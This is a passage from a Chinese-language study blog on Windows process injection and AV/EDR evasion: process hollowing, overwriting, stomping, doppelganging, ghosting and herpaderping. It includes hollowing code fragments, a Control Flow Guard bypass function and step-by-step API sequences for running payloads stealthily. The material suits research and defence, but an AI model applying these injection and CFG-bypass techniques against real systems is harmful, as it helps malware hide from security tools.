//将rcx寄存器设置为注入软件的入口点
GetThreadContext(pi.hThread, &ctx);
#ifdef _WIN64
ctx.Rcx = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
ctx.Eax = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL);
#endif
//释放本内存中PE痕迹
VirtualFree(lpBuffer, 0, MEM_RELEASE);
cout << "[+]SetThreadContext" << endl;
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
ResumeThread(pi.hThread); // 恢复挂起线程
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return 0;
}

x64效果:

QQ_1722877303330

内存分布:直接在默认0x1400000处开辟Private类型内存,Image映射内存在下面,没截到。

QQ_1721571196739

通用实现代码

该项目实现了四种情况的注入,https://github.com/adamhlt/Process-Hollowing

  • x86 有reloc
  • x86 无reloc
  • x64 有reloc
  • x64 无reloc

Process Overwriting*

来讨论一下Process Hollowing的缺点,那就是在内存中显眼的 MEM_PRIVATE 内存,为了更好的隐藏特征,提出了该方法。

此处为 Process Hollowing 和 Module Overloading 的综合体,当PE被加载到内存时初始为Image内存类型,直接将该部分内存空间覆写为注入的PE,这样避免了Private内存的出现

流程如下:

  • CreateProcess 创建一个挂起的合法进程
  • VirtualProtectEx 更改Image类型内存属性以便写入
  • WriteProcessMemory 将PE覆写
  • SetThreadContext 设置上下文
  • ResumeThread 恢复挂起进程

CFG概述

在学习Process Overwriting前,先阅读文章:CFG防护机制简单实践与介绍CFG原理及绕过技巧.mdhttps://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdfhttps://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/,来学习理解CFG机制在该过程中的影响。简单总结为:

windows10windows8.1 中引入了,执行流保护(CFG,Control Flow Guard)通过 在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点,最终及时并有效的进行异常处理,避免引发相关的安全问题。

在编译时启用CFG的模块,编译器会分析出该模块中所有间接函数调用 可达的目标地址,并将这一信息保存在Guard CF Function Table中,编译器还会在所有间接函数调用之前插入一段校验代码,然后根据其Guard CF Function Table来更新 CFG Bitmap 中该模块所对应的位。调用函数时从CFG Bitmap中取出目标地址所对应的位,根据该位是否设置来判断目标地址是否有效。若目标地址有效,则该函数返回进而执行间接函数调用;否则,该函数将抛出异常而终止当前进程

对比如下:

QQ_1722788802901

QQ_1722788832398

另外:VirtualAlloc系列API函数开辟的Private可执行的内存空间在CFG位图中都被认定是有效的执行目标,不受影响。利用CFG寻找潜在的ShellCode内存


对于保护机制的检查可以使用 winchecksec 进行查看,可见svchost.exe的CFG为开启状态

image-20240818230805542

这里简单测试没有开启CFG的 C:\\windows\\System32\\RtkAudUService64.exe 来进行测试代码,将PE从基址完整覆写

image-20240818231025628

成功注入

image-20240818230526280

既然CFG是通过编译器在函数执行前进行检查,我们直接将未开启CFG的恶意可执行文件覆写这部分内存,那么推测接下来的过程不会触发任何CFG检测。但是结果是触发了CFG,导致程序退出。

image-20240818232843561

x64dbg调试,三个主要的点 rtluserthreadstart -> BaseThreadInitThunk -> LdrControlFlowGuardEnforced,然后爆出错误

image-20240819004316994

但是具体原因需要仔细研究调试,目前不知道。


CFG的绕过

目前可以利用 SetProcessValidCallTargetsInitializeProcThreadAttributeListSetProcessValidCallTargets底层Nt函数

BOOL DisableCfg(PROCESS_INFORMATION pProcessInfo, DWORD victim_size, PVOID victim_base_addr, DWORD cfg_size, PVOID cfg_base) {

_SetProcessValidCallTargets pfnSetProcessValidCallTargets = NULL;
GetFunctionAddressFromDll((PSTR)"kernelbase.dll",(PSTR)"SetProcessValidCallTargets",(PVOID*)&pfnSetProcessValidCallTargets);
if (pfnSetProcessValidCallTargets == NULL) {
return FALSE;
}

for (unsigned long long i = 0; (i + 15) < victim_size; i += 16) {
CFG_CALL_TARGET_INFO tCfgCallTargetInfo = { 0 };
tCfgCallTargetInfo.Flags = 0x00000001;
tCfgCallTargetInfo.Offset = (ULONG_PTR)cfg_base - (ULONG_PTR)victim_base_addr + (ULONG_PTR)i;
pfnSetProcessValidCallTargets(pProcessInfo.hProcess, victim_base_addr, (size_t)victim_size, (ULONG)1, &tCfgCallTargetInfo);
}
return TRUE;
}

效果

QQ_1724140519399

过程中一些问题:

Q:将一个无CFG的恶意PE覆写后,再执行,为什么还是会受到CFG的影响呢?

A:可能CFG还对某些API函数进行检查,但是这其中的过程还需要后续深入学习

Q:为什么前面两种对svchost.exe的hollowing方法都没有触发CFG呢?

A:正同上面提到的,VirtualAlloc开辟的空间都被认为是有效的,不受CFG影响

参考:

https://insinuator.net/2022/09/some-experiments-with-process-hollowing/

https://github.com/f-block/Process-Hollowing

https://github.com/hasherezade/process_overwriting

利用直接 SYSCALL 调用禁用 Control Flow Guard,绕过终端防护软件的检测

Process Stomping*

该变体通过寻找 自带有RWX权限section的PE,将shellcode写入该区域,避免使用了 内存分配VirtualprotectEx,进一步减少敏感函数操作,使得在内存中更加隐秘,此技术基于 Process Mockingjay ,原理请见:Process Mockingjay

流程如下:

  • CreateProcess 创建一个挂起的合法进程
  • WriteProcessMemory 将shellcode写到RWX的section
  • SetThreadContext 设置上下文
  • ResumeThread 恢复挂起进程

为了搜索符合条件的PE,我创建了一个小工具:rwx-section: 寻找具有RWX section的PE,用来搜索具有RWX section的PE

X64:

QQ_1723911520533

X86:

QQ_1723913537520

一些结果:

[+]D:\vsstudio\Community\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer\Git\usr\bin\msys-2.0.dll
[+]D:\Typora\winmm.dll
[+]C:\Users\cys\Desktop\GlassWire.exe
[+]C:\Users\cys\Desktop\ThemidaDemo32_64\Themida.exe
[+]C:\Users\cys\Desktop\ThemidaDemo32_64\Themida64.exe
[+]C:\Users\cys\Desktop\ThemidaDemo32_64\ThemidaSDK\SecureEngineSDK32.dll

以GlassWire.exe为例,可见其 .themida为RWX权限

QQ_1724145365694

写入该区域

QQ_1724145849284

可以使用 rip/eip 执行shellcode,既能执行shellcode又能bypass cfg,这样可以让我们绕过所有 CFG 健全性检查,因为线程不会从 CFG 检查函数启动,而是被迫从我们的 shellcode 地址启动。

ctx.Eip = (SIZE_T)(LPBYTE)load_base_shifted;

image-20240831213032966

但是要注入的exe需要有完整的dll环境支持。

image-20240831213145513

如果只有单独的exe,没有所需dll,会在线程初始化RtlUserThreadStart报错

image-20240831213347716

image-20240831213407227

PS:不太清楚在windows加载器的流程中能否实现只有单个exe也能注入。

参考:

https://github.com/naksyn/ProcessStomping/

https://www.naksyn.com/edr%20evasion/2023/11/18/mockingjay-revisited-process-stomping-srdi-beacon.html

Process Doppelganging*

于2017年BlackHat2017提出的的一种新的注入手法。同Process Overwriting也是解决内存中Private属性

PPT:eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

视频:https://www.youtube.com/watch?v=XmWOj-cfixs

项目:https://github.com/hasherezade/process_doppelganging

首先提出 Process Hollowing 以及变体手法 的不足

  • 通过unmap 和 VirtualAllocEx:unmap高危操作,VirtualAllocEx开辟的内存不为Image
  • 不使用unmap而直接覆写:覆写地址的页属性不是共享的
  • unmap后再remap为非Image属性:内存属性不为Image
  • unmap后再remap为Image属性:由于Process Hollowing更改了入口点,可以通过 ETHREAD.Win32StartAddress != Image.AddressOfEntryPoint 检测,同时remap创建section需要文件落地。

ETHREAD.Win32StartAddress 是 Windows 内核中的一个字段,表示线程在用户模式下的起始地址。它指向线程执行的第一条指令所在的函数(即线程的启动函数)。当一个线程被创建时,它会被分配一个启动函数,该函数的地址会被存储在 Win32StartAddress 中。

Image.AddressOfEntryPoint 指的是一个可执行文件(如 EXE 或 DLL)的入口点地址。这个地址是程序启动时操作系统加载器跳转到的第一个指令位置。在 Windows 可执行文件(PE 格式)中,AddressOfEntryPoint 是可执行文件头中的一个字段,通常表示程序的 main 函数或 WinMain 函数的地址。

Process Doppelganging的基本原理如下:亮点是通过 利用Windows的 NTFS 事务,创建一个transaction用于打开一个干净的exe,将恶意代码填充后,利用事务回滚特性恢复到干净exe。

image-20240901160455559

流程如下:

  • 打开一个正常文件,创建一个transaction(NtCreateTransaction)

  • 打开源程序句柄(CreateFileTransacted)

  • 向源程序句柄写入shellcode(CreateFile,CreateFileMapping,MapViewOfFile,VirtualAlloc,memcpy,WriteFile)

  • 根据此时的文件内容,创建一个section(NtCreateSection)

  • 回滚到修改事务之前的状态,抹去一系列更改操作(RollbackTransaction)

  • 通过刚刚创建的section,创建进程(NtCreateProcessEx)

  • 准备参数到目标进程(跨进程),我们需要创建新进程的参数,然后将这些参数写入到新进程的PEB中,这是因为新进程需要这些参数来正确地初始化

  • 创建初始线程(NtCreateThreadEx)

  • 唤醒线程(NtResumeThread)

image-20240903152326145

在win10上测试为如下:原因是DF:https://github.com/hasherezade/process_doppelganging/issues/3

Windows Defender’s minifilter called WdFilter has mitigations against transacted process creation.

image-20240901215747183

在win11上测试发现有异常的是,任务管理器中,不显示进程名。

image-20240901215150595

image-20240901215032965

image-20240901215323212

Transacted Hollowing

借鉴了 Process Doppelganging 的 事务特性 和 Process Hollowing 启动进程的便捷性,免去创建进程、准备进程参数的复杂过程,同Process Overwriting 也是解决内存中Private属性,项目:https://github.com/hasherezade/transacted_hollowing

流程如下:

  • 创建NTFS Transaction

  • 在TxF中创建文件或者覆写文件,写入payload

  • 通过文件句柄创建IMAGE SECTION

  • 回滚NTFS Transaction

  • 创建挂起的傀儡进程

  • 将第三步创建的SECTION映射到傀儡进程中

  • 修改傀儡进程PEB的ImageBase

  • 修改傀儡进程的OEP

效果:

image-20240903161453521

Process Ghosting*

一种 不涉及NTFS 的全新 “无文件” 手法,通过 设置删除标志位,写入payload映射到内存后自动删除,达到 “临时落地”,在此过程中,AV因为标志位的存在无法打开恶意文件进行检测,技术细节参看文章。

文章:https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack

项目:https://github.com/hasherezade/process_ghosting

流程如下:

  • 创建文件

  • 设置文件句柄的 FILE_DISPOSITION_INFORMATION.DeleteFile = TRUE

  • 写入payload

  • 通过文件句柄创建 IMAGE SECTION

  • 关闭文件句柄,删除文件

  • 通过Section创建进程,准备参数,写入PEB的ProcessParameters和Environment

  • 创建主线程

image-20240903171444583

image-20240903172037658

效果:

image-20240903181301143

Ghostly Hollowing

与 Transacted Hollowing 类似,该方法也是为了免去了Process Ghosting创建进程和准备进程参数的复杂过程,项目代码在Transacted Hollowing中

Process Herpaderping

该方法的原理、实现都和 GhostingDoppelganging 类似,项目:https://github.com/jxy-s/herpaderping

  • Ghosting 是删除文件
  • Doppelganging 是替换文件的内容(不替换文件)
  • Herpaderping 是替换文件和文件内容,其结果是反病毒软件检测执行的进程时,其打开的程序文件内容是我们设定的(比如lsass.exe,包括文件签名)

流程如下:

  • 打开一个可读可写的文件
  • 向文件写入payload(calc.exe),创建section
  • 创建进程A(和Doppelganging一样,使用NtCreateProcessEx)
  • 向同一个文件写入伪装的程序,比如lsass.exe
  • 关闭并保存文件为output.exe(文件保存至磁盘,磁盘的内容是lsass.exe)
  • 准备进程参数,创建线程(这时payload开始执行)

对比表格

针对:Hollowing 、Doppelgänging 、Herpaderping 、Ghosting 有如下对比表格,总的来说越来越隐蔽。

Type Technique
Hollowing map -> modify section -> execute
Doppelgänging transact -> write -> map -> rollback -> execute
Herpaderping write -> map -> modify -> execute -> close
Ghosting delete pending -> write -> map -> close(delete) -> execute

不常见的进程注入

额外窗口内存注入,总体来说利用不稳定,在win10测试没有成功,就不再记录了,

https://www.crowdstrike.com/blog/through-window-creative-code-invocation/

https://modexp.wordpress.com/2018/08/26/process-injection-ctray/

Windows不太常见的进程注入学习小记(一)

Windows不太常见的进程注入学习小记(二)

利用blockdlls和ACG保护恶意进程

玄 - 利用blockdlls和ACG保护恶意进程 - zha0gongz1 - 博客园 (cnblogs.com)

Code injection series

https://blog.sevagas.com/?-Code-injection-series-&lang=en